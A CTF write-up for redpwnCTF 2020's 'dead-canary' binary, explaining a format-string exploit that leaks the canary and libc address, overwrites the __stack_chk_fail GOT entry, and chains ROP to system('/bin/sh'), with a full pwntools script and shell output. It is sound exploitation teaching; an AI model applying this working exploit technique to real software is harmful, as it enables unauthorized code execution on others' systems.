Tags: rop pwn shell format-string pwntools 

Rating:

# Objective
So this challenge requires us to utilize a **format string exploit** to get a shell.

## Points about Format string exploit
There are two points to be noted as far as the format string exploit is concerned
1. We can read arbitrary values ahead on the stack
2. We can write to arbitrary values to a location such that a pointer to the location is available on the stack.

More details can be found at this [Wikipedia link](https://en.wikipedia.org/wiki/Printf_format_string#Format_placeholder_specification)

## Observations
- The program allows us to read only **0x120** bytes into a buffer at `rbp-0x110`. Note the canary is located at `rbp-0x8` and the return address of main is at `rbp+0x8`. So using a standard buffer overflow we can write upto only the return address i.e. upto `rbp+0x8`.
- The canary used is a standard one i.e its first byte will always be `\x00`. So we *just* do not know the remaining 7 bytes.
- When we are executing inside main, we can observe that `rsp` is always at `rbp-0x110` or the starting of the buffer that we are about to write into. So that means `rsp` points directly to our payload huh? *Interesting...*

## Workflow

This workflow requires to send multiple payloads to obtain a proper shell.
### Payload 1

In this payload we will aim to leak various information off the stack and change the GOT entry for `__stack_chk_fail` to the address of main so that after a canary is smashed execution returns to main so that we can send some other payloads based on the information we just leaked.

This payload consists of the following parts
- Format string `%41$016llx;` to print the return address where main will return in `__libc_start_main`. This address will be later utilized to get other addresses like address of `system`
- Format string `%39$016llx;` to print the canary
- Format string `%04196117d%11$n000` to write into the 11th argument (GOT entry of `__stack_chk_fail` that we are going to pass) the value `0x00400737`
- Address of GOT entry of `__stack_chk_fail` is passed on the stack with `p64(stack_chk_fail_got)`
- A padding upto the canary and sending `\x01` into the first byte of the canary since we know that the first byte is anyways `\x00` and if we smash any further then we won't be able to get the real value of the canary.

**Note:** The values for the format string exploits have been obtained after looking at the stack frame in a debugger. You can presently convince yourself that these values are indeed correct.

Once we send this payload we will get the canary value and `__libc_start_main` address and execution will start again at main and we can send another payload.

### Payload 2 and 3

Now that we know the value of our canary we can safely place it into our buffer overflow and redirect execution. Well this was what I thought during the CTF, **but there is a catch**, remember we cannot overflow beyond the return address on the stack, so we cannot construct a valid ROP chain since we do not control the stack after we have returned from main, and hence our exploit will fail. So what do we do?

But remember that `rsp` points to the start of our payload.... So maybe we can utilize this fact. Lets see how

So in this payload we will start our buffer with the stack frame that is required for our ROP chain and smash the canary **purposely**. I know i don't make sense right now since we know what the canary should be. But bear with me. Once the canary is smashed, the instruction `call __stack_chk_fail` will get executed and the return address will get pushed on to `rsp` and note that below `rsp` is our **PAYLOAD 2**.

So now the execution will jump to main but with one important fact that the stack frame that is required by our ROP chain to spawn our shell is already present after the return address and we just need to change the return address and we can do that since we are allowed to write **0x120** bytes anyways, and this time we are going to place the correct value of the canary :)

So in **PAYLOAD-3** we will just change the return address to our ROP gadget `pop rdi; ret` and use the correct value of the canary.!

# Final exploit code
```
from pwn import *

def exploit(p):
stack_chk_fail_got=0x601028
main = 0x00400737

################# PAYLOAD 1 ##############################

# 41st argument to printf is the return address where the main function returns inside __libc_start_main
# 39th argument is the canary
# printing enough values to fill the 11th argument i.e __stack_chk_fail GOT entry to a value 0x400737 ( address of main )
pay = b'%41$016llx;%39$016llx;%04196117d%11$n000'+p64(stack_chk_fail_got)
pay+=(0x110-8-len(pay))*b'a'
print(p.recvuntil(b'What is your name: '))

# Canary's first byte is always \x00 so we can safely smash the canary by just changing it to \x01
p.send(pay+b'\x01')

main_return_addr = int(p.recvuntil(b';').split(b' ')[1][:-1], 16)
canary = int(p.recvuntil(b';')[:-2] + b'0',16)

# __libc_start_main starts at a backward offset 231 from where the main execution is supposed to return
libc_main = main_return_addr - 231
print("[+] Retrived libc_main address as ", hex(libc_main))
print("[+] Retrieved canary as ", hex(canary))

p.recvuntil(b'What is your name: ')
print("[+] New prompt recieved")

# Calculate other offsets using the start of __libc_start_main we obtained
system_addr = (0x000000000004f440-0x0000000000021ab0) + libc_main
binsh_main_offset = 1647594
binsh_addr = binsh_main_offset + libc_main # This is a pointer to the string "/bin/sh" inside libc.so.6
ret = 0x00000000004005d6 # A simple gadget ret;

###################### PAYLOAD 2 #################################

rop = 0x00000000004008e3 # pop rdi; ret

pay = b''
pay+=p64(binsh_addr) # This needs to be placed in rdi
pay+=p64(ret) # This is to make rsp 16 byte aligned which the movaps instruction requires inside call to system()
pay+=p64(system_addr) # This is the address of system() calculated which our ROP will return to
pay+=(0x110-len(pay))*b'a' # Purposeful smashing of the canary

p.send(pay)

print(p.recvuntil(b'What is your name: '))
print("[+] New prompt recieved")

####################### PAYLOAD 3 ################################


pay=b''
pay+=b'a'*(0x110-8-len(pay)) # Padding
pay+=p64(canary) # Real value of the canary
pay+=b'a'*8 # Fake rbp
pay+=p64(rop) # Now main should return to our rop gadget
# Our stack arguments that the rop gadget requires are set, thanks to PAYLOAD-2

p.send(pay)

print(p.recv())
p.interactive()

# p=process('./dead-canary')
p = remote(host='2020.redpwnc.tf', port=31744)

# Enjoy your shell
exploit(p)
```

# Result

```
harsh@anonymous:~/Downloads/redpwnctf$ python3 canary.py
[+] Opening connection to 2020.redpwnc.tf on port 31744: Done
b'What is your name: '
[+] Retrived libc_main address as 0x7ff6092e7ab0
[+] Retrieved canary as 0xb6b4d3d76f69800
[+] New prompt recieved
b'Hello \x9a\x9eG\t\xf6\x7fWhat is your name: '
[+] New prompt recieved
b'Hello '
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$
$ ls
Makefile
bin
dead-canary
dead-canary.c
dev
flag.txt
lib
lib32
lib64
libc.so.6
$ cat flag.txt
flag{t0_k1ll_a_canary_4e47da34}
$
[*] Interrupted

```